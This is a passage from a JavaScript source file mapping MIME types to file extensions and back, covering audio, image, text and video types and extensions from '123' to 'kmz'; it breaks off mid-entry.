['audio/midi', ['midi', 'kar', 'mid']],\n ['audio/mod', 'mod'],\n ['audio/mp4', 'mp4a'],\n ['audio/mpeg', ['mpga', 'mp3', 'm2a', 'mp2', 'mpa', 'mpg']],\n ['audio/mpeg3', 'mp3'],\n ['audio/nspaudio', ['la', 'lma']],\n ['audio/ogg', 'oga'],\n ['audio/s3m', 's3m'],\n ['audio/tsp-audio', 'tsi'],\n ['audio/tsplayer', 'tsp'],\n ['audio/vnd.dece.audio', 'uva'],\n ['audio/vnd.digital-winds', 'eol'],\n ['audio/vnd.dra', 'dra'],\n ['audio/vnd.dts', 'dts'],\n ['audio/vnd.dts.hd', 'dtshd'],\n ['audio/vnd.lucent.voice', 'lvp'],\n ['audio/vnd.ms-playready.media.pya', 'pya'],\n ['audio/vnd.nuera.ecelp4800', 'ecelp4800'],\n ['audio/vnd.nuera.ecelp7470', 'ecelp7470'],\n ['audio/vnd.nuera.ecelp9600', 'ecelp9600'],\n ['audio/vnd.qcelp', 'qcp'],\n ['audio/vnd.rip', 'rip'],\n ['audio/voc', 'voc'],\n ['audio/voxware', 'vox'],\n ['audio/wav', 'wav'],\n ['audio/webm', 'weba'],\n ['audio/x-aac', 'aac'],\n ['audio/x-adpcm', 'snd'],\n ['audio/x-aiff', ['aiff', 'aif', 'aifc']],\n ['audio/x-au', 'au'],\n ['audio/x-gsm', ['gsd', 'gsm']],\n ['audio/x-jam', 'jam'],\n ['audio/x-liveaudio', 'lam'],\n ['audio/x-mid', ['mid', 'midi']],\n ['audio/x-midi', ['midi', 'mid']],\n ['audio/x-mod', 'mod'],\n ['audio/x-mpeg', 'mp2'],\n ['audio/x-mpeg-3', 'mp3'],\n ['audio/x-mpegurl', 'm3u'],\n ['audio/x-mpequrl', 'm3u'],\n ['audio/x-ms-wax', 'wax'],\n ['audio/x-ms-wma', 'wma'],\n ['audio/x-nspaudio', ['la', 'lma']],\n ['audio/x-pn-realaudio', ['ra', 'ram', 'rm', 'rmm', 'rmp']],\n ['audio/x-pn-realaudio-plugin', ['ra', 'rmp', 'rpm']],\n ['audio/x-psid', 'sid'],\n ['audio/x-realaudio', 'ra'],\n ['audio/x-twinvq', 'vqf'],\n ['audio/x-twinvq-plugin', ['vqe', 'vql']],\n ['audio/x-vnd.audioexplosion.mjuicemediafile', 'mjf'],\n ['audio/x-voc', 'voc'],\n ['audio/x-wav', 'wav'],\n ['audio/xm', 'xm'],\n ['chemical/x-cdx', 'cdx'],\n ['chemical/x-cif', 'cif'],\n ['chemical/x-cmdf', 'cmdf'],\n ['chemical/x-cml', 'cml'],\n ['chemical/x-csml', 'csml'],\n ['chemical/x-pdb', ['pdb', 'xyz']],\n ['chemical/x-xyz', 'xyz'],\n ['drawing/x-dwf', 'dwf'],\n ['i-world/i-vrml', 'ivr'],\n ['image/bmp', ['bmp', 'bm']],\n ['image/cgm', 'cgm'],\n ['image/cis-cod', 'cod'],\n ['image/cmu-raster', ['ras', 'rast']],\n ['image/fif', 'fif'],\n ['image/florian', ['flo', 'turbot']],\n ['image/g3fax', 'g3'],\n ['image/gif', 'gif'],\n ['image/ief', ['ief', 'iefs']],\n ['image/jpeg', ['jpeg', 'jpe', 'jpg', 'jfif', 'jfif-tbnl']],\n ['image/jutvision', 'jut'],\n ['image/ktx', 'ktx'],\n ['image/naplps', ['nap', 'naplps']],\n ['image/pict', ['pic', 'pict']],\n ['image/pipeg', 'jfif'],\n ['image/pjpeg', ['jfif', 'jpe', 'jpeg', 'jpg']],\n ['image/png', ['png', 'x-png']],\n ['image/prs.btif', 'btif'],\n ['image/svg+xml', 'svg'],\n ['image/tiff', ['tif', 'tiff']],\n ['image/vasa', 'mcf'],\n ['image/vnd.adobe.photoshop', 'psd'],\n ['image/vnd.dece.graphic', 'uvi'],\n ['image/vnd.djvu', 'djvu'],\n ['image/vnd.dvb.subtitle', 'sub'],\n ['image/vnd.dwg', ['dwg', 'dxf', 'svf']],\n ['image/vnd.dxf', 'dxf'],\n ['image/vnd.fastbidsheet', 'fbs'],\n ['image/vnd.fpx', 'fpx'],\n ['image/vnd.fst', 'fst'],\n ['image/vnd.fujixerox.edmics-mmr', 'mmr'],\n ['image/vnd.fujixerox.edmics-rlc', 'rlc'],\n ['image/vnd.ms-modi', 'mdi'],\n ['image/vnd.net-fpx', ['fpx', 'npx']],\n ['image/vnd.rn-realflash', 'rf'],\n ['image/vnd.rn-realpix', 'rp'],\n ['image/vnd.wap.wbmp', 'wbmp'],\n ['image/vnd.xiff', 'xif'],\n ['image/webp', 'webp'],\n ['image/x-cmu-raster', 'ras'],\n ['image/x-cmx', 'cmx'],\n ['image/x-dwg', ['dwg', 'dxf', 'svf']],\n ['image/x-freehand', 'fh'],\n ['image/x-icon', 'ico'],\n ['image/x-jg', 'art'],\n ['image/x-jps', 'jps'],\n ['image/x-niff', ['niff', 'nif']],\n ['image/x-pcx', 'pcx'],\n ['image/x-pict', ['pct', 'pic']],\n ['image/x-portable-anymap', 'pnm'],\n ['image/x-portable-bitmap', 'pbm'],\n ['image/x-portable-graymap', 'pgm'],\n ['image/x-portable-greymap', 'pgm'],\n ['image/x-portable-pixmap', 'ppm'],\n ['image/x-quicktime', ['qif', 'qti', 'qtif']],\n ['image/x-rgb', 'rgb'],\n ['image/x-tiff', ['tif', 'tiff']],\n ['image/x-windows-bmp', 'bmp'],\n ['image/x-xbitmap', 'xbm'],\n ['image/x-xbm', 'xbm'],\n ['image/x-xpixmap', ['xpm', 'pm']],\n ['image/x-xwd', 'xwd'],\n ['image/x-xwindowdump', 'xwd'],\n ['image/xbm', 'xbm'],\n ['image/xpm', 'xpm'],\n ['message/rfc822', ['eml', 'mht', 'mhtml', 'nws', 'mime']],\n ['model/iges', ['iges', 'igs']],\n ['model/mesh', 'msh'],\n ['model/vnd.collada+xml', 'dae'],\n ['model/vnd.dwf', 'dwf'],\n ['model/vnd.gdl', 'gdl'],\n ['model/vnd.gtw', 'gtw'],\n ['model/vnd.mts', 'mts'],\n ['model/vnd.vtu', 'vtu'],\n ['model/vrml', ['vrml', 'wrl', 'wrz']],\n ['model/x-pov', 'pov'],\n ['multipart/x-gzip', 'gzip'],\n ['multipart/x-ustar', 'ustar'],\n ['multipart/x-zip', 'zip'],\n ['music/crescendo', ['mid', 'midi']],\n ['music/x-karaoke', 'kar'],\n ['paleovu/x-pv', 'pvu'],\n ['text/asp', 'asp'],\n ['text/calendar', 'ics'],\n ['text/css', 'css'],\n ['text/csv', 'csv'],\n ['text/ecmascript', 'js'],\n ['text/h323', '323'],\n ['text/html', ['html', 'htm', 'stm', 'acgi', 'htmls', 'htx', 'shtml']],\n ['text/iuls', 'uls'],\n ['text/javascript', 'js'],\n ['text/mcf', 'mcf'],\n ['text/n3', 'n3'],\n ['text/pascal', 'pas'],\n [\n 'text/plain',\n [\n 'txt',\n 'bas',\n 'c',\n 'h',\n 'c++',\n 'cc',\n 'com',\n 'conf',\n 'cxx',\n 'def',\n 'f',\n 'f90',\n 'for',\n 'g',\n 'hh',\n 'idc',\n 'jav',\n 'java',\n 'list',\n 'log',\n 'lst',\n 'm',\n 'mar',\n 'pl',\n 'sdml',\n 'text'\n ]\n ],\n ['text/plain-bas', 'par'],\n ['text/prs.lines.tag', 'dsc'],\n ['text/richtext', ['rtx', 'rt', 'rtf']],\n ['text/scriplet', 'wsc'],\n ['text/scriptlet', 'sct'],\n ['text/sgml', ['sgm', 'sgml']],\n ['text/tab-separated-values', 'tsv'],\n ['text/troff', 't'],\n ['text/turtle', 'ttl'],\n ['text/uri-list', ['uni', 'unis', 'uri', 'uris']],\n ['text/vnd.abc', 'abc'],\n ['text/vnd.curl', 'curl'],\n ['text/vnd.curl.dcurl', 'dcurl'],\n ['text/vnd.curl.mcurl', 'mcurl'],\n ['text/vnd.curl.scurl', 'scurl'],\n ['text/vnd.fly', 'fly'],\n ['text/vnd.fmi.flexstor', 'flx'],\n ['text/vnd.graphviz', 'gv'],\n ['text/vnd.in3d.3dml', '3dml'],\n ['text/vnd.in3d.spot', 'spot'],\n ['text/vnd.rn-realtext', 'rt'],\n ['text/vnd.sun.j2me.app-descriptor', 'jad'],\n ['text/vnd.wap.wml', 'wml'],\n ['text/vnd.wap.wmlscript', 'wmls'],\n ['text/webviewhtml', 'htt'],\n ['text/x-asm', ['asm', 's']],\n ['text/x-audiosoft-intra', 'aip'],\n ['text/x-c', ['c', 'cc', 'cpp']],\n ['text/x-component', 'htc'],\n ['text/x-fortran', ['for', 'f', 'f77', 'f90']],\n ['text/x-h', ['h', 'hh']],\n ['text/x-java-source', ['java', 'jav']],\n ['text/x-java-source,java', 'java'],\n ['text/x-la-asf', 'lsx'],\n ['text/x-m', 'm'],\n ['text/x-pascal', 'p'],\n ['text/x-script', 'hlb'],\n ['text/x-script.csh', 'csh'],\n ['text/x-script.elisp', 'el'],\n ['text/x-script.guile', 'scm'],\n ['text/x-script.ksh', 'ksh'],\n ['text/x-script.lisp', 'lsp'],\n ['text/x-script.perl', 'pl'],\n ['text/x-script.perl-module', 'pm'],\n ['text/x-script.phyton', 'py'],\n ['text/x-script.rexx', 'rexx'],\n ['text/x-script.scheme', 'scm'],\n ['text/x-script.sh', 'sh'],\n ['text/x-script.tcl', 'tcl'],\n ['text/x-script.tcsh', 'tcsh'],\n ['text/x-script.zsh', 'zsh'],\n ['text/x-server-parsed-html', ['shtml', 'ssi']],\n ['text/x-setext', 'etx'],\n ['text/x-sgml', ['sgm', 'sgml']],\n ['text/x-speech', ['spc', 'talk']],\n ['text/x-uil', 'uil'],\n ['text/x-uuencode', ['uu', 'uue']],\n ['text/x-vcalendar', 'vcs'],\n ['text/x-vcard', 'vcf'],\n ['text/xml', 'xml'],\n ['video/3gpp', '3gp'],\n ['video/3gpp2', '3g2'],\n ['video/animaflex', 'afl'],\n ['video/avi', 'avi'],\n ['video/avs-video', 'avs'],\n ['video/dl', 'dl'],\n ['video/fli', 'fli'],\n ['video/gl', 'gl'],\n ['video/h261', 'h261'],\n ['video/h263', 'h263'],\n ['video/h264', 'h264'],\n ['video/jpeg', 'jpgv'],\n ['video/jpm', 'jpm'],\n ['video/mj2', 'mj2'],\n ['video/mp4', 'mp4'],\n ['video/mpeg', ['mpeg', 'mp2', 'mpa', 'mpe', 'mpg', 'mpv2', 'm1v', 'm2v', 'mp3']],\n ['video/msvideo', 'avi'],\n ['video/ogg', 'ogv'],\n ['video/quicktime', ['mov', 'qt', 'moov']],\n ['video/vdo', 'vdo'],\n ['video/vivo', ['viv', 'vivo']],\n ['video/vnd.dece.hd', 'uvh'],\n ['video/vnd.dece.mobile', 'uvm'],\n ['video/vnd.dece.pd', 'uvp'],\n ['video/vnd.dece.sd', 'uvs'],\n ['video/vnd.dece.video', 'uvv'],\n ['video/vnd.fvt', 'fvt'],\n ['video/vnd.mpegurl', 'mxu'],\n ['video/vnd.ms-playready.media.pyv', 'pyv'],\n ['video/vnd.rn-realvideo', 'rv'],\n ['video/vnd.uvvu.mp4', 'uvu'],\n ['video/vnd.vivo', ['viv', 'vivo']],\n ['video/vosaic', 'vos'],\n ['video/webm', 'webm'],\n ['video/x-amt-demorun', 'xdr'],\n ['video/x-amt-showrun', 'xsr'],\n ['video/x-atomic3d-feature', 'fmf'],\n ['video/x-dl', 'dl'],\n ['video/x-dv', ['dif', 'dv']],\n ['video/x-f4v', 'f4v'],\n ['video/x-fli', 'fli'],\n ['video/x-flv', 'flv'],\n ['video/x-gl', 'gl'],\n ['video/x-isvideo', 'isu'],\n ['video/x-la-asf', ['lsf', 'lsx']],\n ['video/x-m4v', 'm4v'],\n ['video/x-motion-jpeg', 'mjpg'],\n ['video/x-mpeg', ['mp3', 'mp2']],\n ['video/x-mpeq2a', 'mp2'],\n ['video/x-ms-asf', ['asf', 'asr', 'asx']],\n ['video/x-ms-asf-plugin', 'asx'],\n ['video/x-ms-wm', 'wm'],\n ['video/x-ms-wmv', 'wmv'],\n ['video/x-ms-wmx', 'wmx'],\n ['video/x-ms-wvx', 'wvx'],\n ['video/x-msvideo', 'avi'],\n ['video/x-qtc', 'qtc'],\n ['video/x-scm', 'scm'],\n ['video/x-sgi-movie', ['movie', 'mv']],\n ['windows/metafile', 'wmf'],\n ['www/mime', 'mime'],\n ['x-conference/x-cooltalk', 'ice'],\n ['x-music/x-midi', ['mid', 'midi']],\n ['x-world/x-3dmf', ['3dm', '3dmf', 'qd3', 'qd3d']],\n ['x-world/x-svr', 'svr'],\n ['x-world/x-vrml', ['flr', 'vrml', 'wrl', 'wrz', 'xaf', 'xof']],\n ['x-world/x-vrt', 'vrt'],\n ['xgl/drawing', 'xgz'],\n ['xgl/movie', 'xmz']\n]);\nconst extensions = new Map([\n ['123', 'application/vnd.lotus-1-2-3'],\n ['323', 'text/h323'],\n ['*', 'application/octet-stream'],\n ['3dm', 'x-world/x-3dmf'],\n ['3dmf', 'x-world/x-3dmf'],\n ['3dml', 'text/vnd.in3d.3dml'],\n ['3g2', 'video/3gpp2'],\n ['3gp', 'video/3gpp'],\n ['7z', 'application/x-7z-compressed'],\n ['a', 'application/octet-stream'],\n ['aab', 'application/x-authorware-bin'],\n ['aac', 'audio/x-aac'],\n ['aam', 'application/x-authorware-map'],\n ['aas', 'application/x-authorware-seg'],\n ['abc', 'text/vnd.abc'],\n ['abw', 'application/x-abiword'],\n ['ac', 'application/pkix-attr-cert'],\n ['acc', 'application/vnd.americandynamics.acc'],\n ['ace', 'application/x-ace-compressed'],\n ['acgi', 'text/html'],\n ['acu', 'application/vnd.acucobol'],\n ['acx', 'application/internet-property-stream'],\n ['adp', 'audio/adpcm'],\n ['aep', 'application/vnd.audiograph'],\n ['afl', 'video/animaflex'],\n ['afp', 'application/vnd.ibm.modcap'],\n ['ahead', 'application/vnd.ahead.space'],\n ['ai', 'application/postscript'],\n ['aif', ['audio/aiff', 'audio/x-aiff']],\n ['aifc', ['audio/aiff', 'audio/x-aiff']],\n ['aiff', ['audio/aiff', 'audio/x-aiff']],\n ['aim', 'application/x-aim'],\n ['aip', 'text/x-audiosoft-intra'],\n ['air', 'application/vnd.adobe.air-application-installer-package+zip'],\n ['ait', 'application/vnd.dvb.ait'],\n ['ami', 'application/vnd.amiga.ami'],\n ['ani', 'application/x-navi-animation'],\n ['aos', 'application/x-nokia-9000-communicator-add-on-software'],\n ['apk', 'application/vnd.android.package-archive'],\n ['application', 'application/x-ms-application'],\n ['apr', 'application/vnd.lotus-approach'],\n ['aps', 'application/mime'],\n ['arc', 'application/octet-stream'],\n ['arj', ['application/arj', 'application/octet-stream']],\n ['art', 'image/x-jg'],\n ['asf', 'video/x-ms-asf'],\n ['asm', 'text/x-asm'],\n ['aso', 'application/vnd.accpac.simply.aso'],\n ['asp', 'text/asp'],\n ['asr', 'video/x-ms-asf'],\n ['asx', ['video/x-ms-asf', 'application/x-mplayer2', 'video/x-ms-asf-plugin']],\n ['atc', 'application/vnd.acucorp'],\n ['atomcat', 'application/atomcat+xml'],\n ['atomsvc', 'application/atomsvc+xml'],\n ['atx', 'application/vnd.antix.game-component'],\n ['au', ['audio/basic', 'audio/x-au']],\n ['avi', ['video/avi', 'video/msvideo', 'application/x-troff-msvideo', 'video/x-msvideo']],\n ['avs', 'video/avs-video'],\n ['aw', 'application/applixware'],\n ['axs', 'application/olescript'],\n ['azf', 'application/vnd.airzip.filesecure.azf'],\n ['azs', 'application/vnd.airzip.filesecure.azs'],\n ['azw', 'application/vnd.amazon.ebook'],\n ['bas', 'text/plain'],\n ['bcpio', 'application/x-bcpio'],\n ['bdf', 'application/x-font-bdf'],\n ['bdm', 'application/vnd.syncml.dm+wbxml'],\n ['bed', 'application/vnd.realvnc.bed'],\n ['bh2', 'application/vnd.fujitsu.oasysprs'],\n ['bin', ['application/octet-stream', 'application/mac-binary', 'application/macbinary', 'application/x-macbinary', 'application/x-binary']],\n ['bm', 'image/bmp'],\n ['bmi', 'application/vnd.bmi'],\n ['bmp', ['image/bmp', 'image/x-windows-bmp']],\n ['boo', 'application/book'],\n ['book', 'application/book'],\n ['box', 'application/vnd.previewsystems.box'],\n ['boz', 'application/x-bzip2'],\n ['bsh', 'application/x-bsh'],\n ['btif', 'image/prs.btif'],\n ['bz', 'application/x-bzip'],\n ['bz2', 'application/x-bzip2'],\n ['c', ['text/plain', 'text/x-c']],\n ['c++', 'text/plain'],\n ['c11amc', 'application/vnd.cluetrust.cartomobile-config'],\n ['c11amz', 'application/vnd.cluetrust.cartomobile-config-pkg'],\n ['c4g', 'application/vnd.clonk.c4group'],\n ['cab', 'application/vnd.ms-cab-compressed'],\n ['car', 'application/vnd.curl.car'],\n ['cat', ['application/vnd.ms-pkiseccat', 'application/vnd.ms-pki.seccat']],\n ['cc', ['text/plain', 'text/x-c']],\n ['ccad', 'application/clariscad'],\n ['cco', 'application/x-cocoa'],\n ['ccxml', 'application/ccxml+xml,'],\n ['cdbcmsg', 'application/vnd.contact.cmsg'],\n ['cdf', ['application/cdf', 'application/x-cdf', 'application/x-netcdf']],\n ['cdkey', 'application/vnd.mediastation.cdkey'],\n ['cdmia', 'application/cdmi-capability'],\n ['cdmic', 'application/cdmi-container'],\n ['cdmid', 'application/cdmi-domain'],\n ['cdmio', 'application/cdmi-object'],\n ['cdmiq', 'application/cdmi-queue'],\n ['cdx', 'chemical/x-cdx'],\n ['cdxml', 'application/vnd.chemdraw+xml'],\n ['cdy', 'application/vnd.cinderella'],\n ['cer', ['application/pkix-cert', 'application/x-x509-ca-cert']],\n ['cgm', 'image/cgm'],\n ['cha', 'application/x-chat'],\n ['chat', 'application/x-chat'],\n ['chm', 'application/vnd.ms-htmlhelp'],\n ['chrt', 'application/vnd.kde.kchart'],\n ['cif', 'chemical/x-cif'],\n ['cii', 'application/vnd.anser-web-certificate-issue-initiation'],\n ['cil', 'application/vnd.ms-artgalry'],\n ['cla', 'application/vnd.claymore'],\n ['class', ['application/octet-stream', 'application/java', 'application/java-byte-code', 'application/java-vm', 'application/x-java-class']],\n ['clkk', 'application/vnd.crick.clicker.keyboard'],\n ['clkp', 'application/vnd.crick.clicker.palette'],\n ['clkt', 'application/vnd.crick.clicker.template'],\n ['clkw', 'application/vnd.crick.clicker.wordbank'],\n ['clkx', 'application/vnd.crick.clicker'],\n ['clp', 'application/x-msclip'],\n ['cmc', 'application/vnd.cosmocaller'],\n ['cmdf', 'chemical/x-cmdf'],\n ['cml', 'chemical/x-cml'],\n ['cmp', 'application/vnd.yellowriver-custom-menu'],\n ['cmx', 'image/x-cmx'],\n ['cod', ['image/cis-cod', 'application/vnd.rim.cod']],\n ['com', ['application/octet-stream', 'text/plain']],\n ['conf', 'text/plain'],\n ['cpio', 'application/x-cpio'],\n ['cpp', 'text/x-c'],\n ['cpt', ['application/mac-compactpro', 'application/x-compactpro', 'application/x-cpt']],\n ['crd', 'application/x-mscardfile'],\n ['crl', ['application/pkix-crl', 'application/pkcs-crl']],\n ['crt', ['application/pkix-cert', 'application/x-x509-user-cert', 'application/x-x509-ca-cert']],\n ['cryptonote', 'application/vnd.rig.cryptonote'],\n ['csh', ['text/x-script.csh', 'application/x-csh']],\n ['csml', 'chemical/x-csml'],\n ['csp', 'application/vnd.commonspace'],\n ['css', ['text/css', 'application/x-pointplus']],\n ['csv', 'text/csv'],\n ['cu', 'application/cu-seeme'],\n ['curl', 'text/vnd.curl'],\n ['cww', 'application/prs.cww'],\n ['cxx', 'text/plain'],\n ['dae', 'model/vnd.collada+xml'],\n ['daf', 'application/vnd.mobius.daf'],\n ['davmount', 'application/davmount+xml'],\n ['dcr', 'application/x-director'],\n ['dcurl', 'text/vnd.curl.dcurl'],\n ['dd2', 'application/vnd.oma.dd2+xml'],\n ['ddd', 'application/vnd.fujixerox.ddd'],\n ['deb', 'application/x-debian-package'],\n ['deepv', 'application/x-deepv'],\n ['def', 'text/plain'],\n ['der', 'application/x-x509-ca-cert'],\n ['dfac', 'application/vnd.dreamfactory'],\n ['dif', 'video/x-dv'],\n ['dir', 'application/x-director'],\n ['dis', 'application/vnd.mobius.dis'],\n ['djvu', 'image/vnd.djvu'],\n ['dl', ['video/dl', 'video/x-dl']],\n ['dll', 'application/x-msdownload'],\n ['dms', 'application/octet-stream'],\n ['dna', 'application/vnd.dna'],\n ['doc', 'application/msword'],\n ['docm', 'application/vnd.ms-word.document.macroenabled.12'],\n ['docx', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'],\n ['dot', 'application/msword'],\n ['dotm', 'application/vnd.ms-word.template.macroenabled.12'],\n ['dotx', 'application/vnd.openxmlformats-officedocument.wordprocessingml.template'],\n ['dp', ['application/commonground', 'application/vnd.osgi.dp']],\n ['dpg', 'application/vnd.dpgraph'],\n ['dra', 'audio/vnd.dra'],\n ['drw', 'application/drafting'],\n ['dsc', 'text/prs.lines.tag'],\n ['dssc', 'application/dssc+der'],\n ['dtb', 'application/x-dtbook+xml'],\n ['dtd', 'application/xml-dtd'],\n ['dts', 'audio/vnd.dts'],\n ['dtshd', 'audio/vnd.dts.hd'],\n ['dump', 'application/octet-stream'],\n ['dv', 'video/x-dv'],\n ['dvi', 'application/x-dvi'],\n ['dwf', ['model/vnd.dwf', 'drawing/x-dwf']],\n ['dwg', ['application/acad', 'image/vnd.dwg', 'image/x-dwg']],\n ['dxf', ['application/dxf', 'image/vnd.dwg', 'image/vnd.dxf', 'image/x-dwg']],\n ['dxp', 'application/vnd.spotfire.dxp'],\n ['dxr', 'application/x-director'],\n ['ecelp4800', 'audio/vnd.nuera.ecelp4800'],\n ['ecelp7470', 'audio/vnd.nuera.ecelp7470'],\n ['ecelp9600', 'audio/vnd.nuera.ecelp9600'],\n ['edm', 'application/vnd.novadigm.edm'],\n ['edx', 'application/vnd.novadigm.edx'],\n ['efif', 'application/vnd.picsel'],\n ['ei6', 'application/vnd.pg.osasli'],\n ['el', 'text/x-script.elisp'],\n ['elc', ['application/x-elc', 'application/x-bytecode.elisp']],\n ['eml', 'message/rfc822'],\n ['emma', 'application/emma+xml'],\n ['env', 'application/x-envoy'],\n ['eol', 'audio/vnd.digital-winds'],\n ['eot', 'application/vnd.ms-fontobject'],\n ['eps', 'application/postscript'],\n ['epub', 'application/epub+zip'],\n ['es', ['application/ecmascript', 'application/x-esrehber']],\n ['es3', 'application/vnd.eszigno3+xml'],\n ['esf', 'application/vnd.epson.esf'],\n ['etx', 'text/x-setext'],\n ['evy', ['application/envoy', 'application/x-envoy']],\n ['exe', ['application/octet-stream', 'application/x-msdownload']],\n ['exi', 'application/exi'],\n ['ext', 'application/vnd.novadigm.ext'],\n ['ez2', 'application/vnd.ezpix-album'],\n ['ez3', 'application/vnd.ezpix-package'],\n ['f', ['text/plain', 'text/x-fortran']],\n ['f4v', 'video/x-f4v'],\n ['f77', 'text/x-fortran'],\n ['f90', ['text/plain', 'text/x-fortran']],\n ['fbs', 'image/vnd.fastbidsheet'],\n ['fcs', 'application/vnd.isac.fcs'],\n ['fdf', 'application/vnd.fdf'],\n ['fe_launch', 'application/vnd.denovo.fcselayout-link'],\n ['fg5', 'application/vnd.fujitsu.oasysgp'],\n ['fh', 'image/x-freehand'],\n ['fif', ['application/fractals', 'image/fif']],\n ['fig', 'application/x-xfig'],\n ['fli', ['video/fli', 'video/x-fli']],\n ['flo', ['image/florian', 'application/vnd.micrografx.flo']],\n ['flr', 'x-world/x-vrml'],\n ['flv', 'video/x-flv'],\n ['flw', 'application/vnd.kde.kivio'],\n ['flx', 'text/vnd.fmi.flexstor'],\n ['fly', 'text/vnd.fly'],\n ['fm', 'application/vnd.framemaker'],\n ['fmf', 'video/x-atomic3d-feature'],\n ['fnc', 'application/vnd.frogans.fnc'],\n ['for', ['text/plain', 'text/x-fortran']],\n ['fpx', ['image/vnd.fpx', 'image/vnd.net-fpx']],\n ['frl', 'application/freeloader'],\n ['fsc', 'application/vnd.fsc.weblaunch'],\n ['fst', 'image/vnd.fst'],\n ['ftc', 'application/vnd.fluxtime.clip'],\n ['fti', 'application/vnd.anser-web-funds-transfer-initiation'],\n ['funk', 'audio/make'],\n ['fvt', 'video/vnd.fvt'],\n ['fxp', 'application/vnd.adobe.fxp'],\n ['fzs', 'application/vnd.fuzzysheet'],\n ['g', 'text/plain'],\n ['g2w', 'application/vnd.geoplan'],\n ['g3', 'image/g3fax'],\n ['g3w', 'application/vnd.geospace'],\n ['gac', 'application/vnd.groove-account'],\n ['gdl', 'model/vnd.gdl'],\n ['geo', 'application/vnd.dynageo'],\n ['geojson', 'application/geo+json'],\n ['gex', 'application/vnd.geometry-explorer'],\n ['ggb', 'application/vnd.geogebra.file'],\n ['ggt', 'application/vnd.geogebra.tool'],\n ['ghf', 'application/vnd.groove-help'],\n ['gif', 'image/gif'],\n ['gim', 'application/vnd.groove-identity-message'],\n ['gl', ['video/gl', 'video/x-gl']],\n ['gmx', 'application/vnd.gmx'],\n ['gnumeric', 'application/x-gnumeric'],\n ['gph', 'application/vnd.flographit'],\n ['gqf', 'application/vnd.grafeq'],\n ['gram', 'application/srgs'],\n ['grv', 'application/vnd.groove-injector'],\n ['grxml', 'application/srgs+xml'],\n ['gsd', 'audio/x-gsm'],\n ['gsf', 'application/x-font-ghostscript'],\n ['gsm', 'audio/x-gsm'],\n ['gsp', 'application/x-gsp'],\n ['gss', 'application/x-gss'],\n ['gtar', 'application/x-gtar'],\n ['gtm', 'application/vnd.groove-tool-message'],\n ['gtw', 'model/vnd.gtw'],\n ['gv', 'text/vnd.graphviz'],\n ['gxt', 'application/vnd.geonext'],\n ['gz', ['application/x-gzip', 'application/x-compressed']],\n ['gzip', ['multipart/x-gzip', 'application/x-gzip']],\n ['h', ['text/plain', 'text/x-h']],\n ['h261', 'video/h261'],\n ['h263', 'video/h263'],\n ['h264', 'video/h264'],\n ['hal', 'application/vnd.hal+xml'],\n ['hbci', 'application/vnd.hbci'],\n ['hdf', 'application/x-hdf'],\n ['help', 'application/x-helpfile'],\n ['hgl', 'application/vnd.hp-hpgl'],\n ['hh', ['text/plain', 'text/x-h']],\n ['hlb', 'text/x-script'],\n ['hlp', ['application/winhlp', 'application/hlp', 'application/x-helpfile', 'application/x-winhelp']],\n ['hpg', 'application/vnd.hp-hpgl'],\n ['hpgl', 'application/vnd.hp-hpgl'],\n ['hpid', 'application/vnd.hp-hpid'],\n ['hps', 'application/vnd.hp-hps'],\n [\n 'hqx',\n [\n 'application/mac-binhex40',\n 'application/binhex',\n 'application/binhex4',\n 'application/mac-binhex',\n 'application/x-binhex40',\n 'application/x-mac-binhex40'\n ]\n ],\n ['hta', 'application/hta'],\n ['htc', 'text/x-component'],\n ['htke', 'application/vnd.kenameaapp'],\n ['htm', 'text/html'],\n ['html', 'text/html'],\n ['htmls', 'text/html'],\n ['htt', 'text/webviewhtml'],\n ['htx', 'text/html'],\n ['hvd', 'application/vnd.yamaha.hv-dic'],\n ['hvp', 'application/vnd.yamaha.hv-voice'],\n ['hvs', 'application/vnd.yamaha.hv-script'],\n ['i2g', 'application/vnd.intergeo'],\n ['icc', 'application/vnd.iccprofile'],\n ['ice', 'x-conference/x-cooltalk'],\n ['ico', 'image/x-icon'],\n ['ics', 'text/calendar'],\n ['idc', 'text/plain'],\n ['ief', 'image/ief'],\n ['iefs', 'image/ief'],\n ['ifm', 'application/vnd.shana.informed.formdata'],\n ['iges', ['application/iges', 'model/iges']],\n ['igl', 'application/vnd.igloader'],\n ['igm', 'application/vnd.insors.igm'],\n ['igs', ['application/iges', 'model/iges']],\n ['igx', 'application/vnd.micrografx.igx'],\n ['iif', 'application/vnd.shana.informed.interchange'],\n ['iii', 'application/x-iphone'],\n ['ima', 'application/x-ima'],\n ['imap', 'application/x-httpd-imap'],\n ['imp', 'application/vnd.accpac.simply.imp'],\n ['ims', 'application/vnd.ms-ims'],\n ['inf', 'application/inf'],\n ['ins', ['application/x-internet-signup', 'application/x-internett-signup']],\n ['ip', 'application/x-ip2'],\n ['ipfix', 'application/ipfix'],\n ['ipk', 'application/vnd.shana.informed.package'],\n ['irm', 'application/vnd.ibm.rights-management'],\n ['irp', 'application/vnd.irepository.package+xml'],\n ['isp', 'application/x-internet-signup'],\n ['isu', 'video/x-isvideo'],\n ['it', 'audio/it'],\n ['itp', 'application/vnd.shana.informed.formtemplate'],\n ['iv', 'application/x-inventor'],\n ['ivp', 'application/vnd.immervision-ivp'],\n ['ivr', 'i-world/i-vrml'],\n ['ivu', 'application/vnd.immervision-ivu'],\n ['ivy', 'application/x-livescreen'],\n ['jad', 'text/vnd.sun.j2me.app-descriptor'],\n ['jam', ['application/vnd.jam', 'audio/x-jam']],\n ['jar', 'application/java-archive'],\n ['jav', ['text/plain', 'text/x-java-source']],\n ['java', ['text/plain', 'text/x-java-source,java', 'text/x-java-source']],\n ['jcm', 'application/x-java-commerce'],\n ['jfif', ['image/pipeg', 'image/jpeg', 'image/pjpeg']],\n ['jfif-tbnl', 'image/jpeg'],\n ['jisp', 'application/vnd.jisp'],\n ['jlt', 'application/vnd.hp-jlyt'],\n ['jnlp', 'application/x-java-jnlp-file'],\n ['joda', 'application/vnd.joost.joda-archive'],\n ['jpe', ['image/jpeg', 'image/pjpeg']],\n ['jpeg', ['image/jpeg', 'image/pjpeg']],\n ['jpg', ['image/jpeg', 'image/pjpeg']],\n ['jpgv', 'video/jpeg'],\n ['jpm', 'video/jpm'],\n ['jps', 'image/x-jps'],\n ['js', ['application/javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'application/x-javascript']],\n ['json', 'application/json'],\n ['jut', 'image/jutvision'],\n ['kar', ['audio/midi', 'music/x-karaoke']],\n ['karbon', 'application/vnd.kde.karbon'],\n ['kfo', 'application/vnd.kde.kformula'],\n ['kia', 'application/vnd.kidspiration'],\n ['kml', 'application/vnd.google-earth.kml+xml'],\n ['kmz', 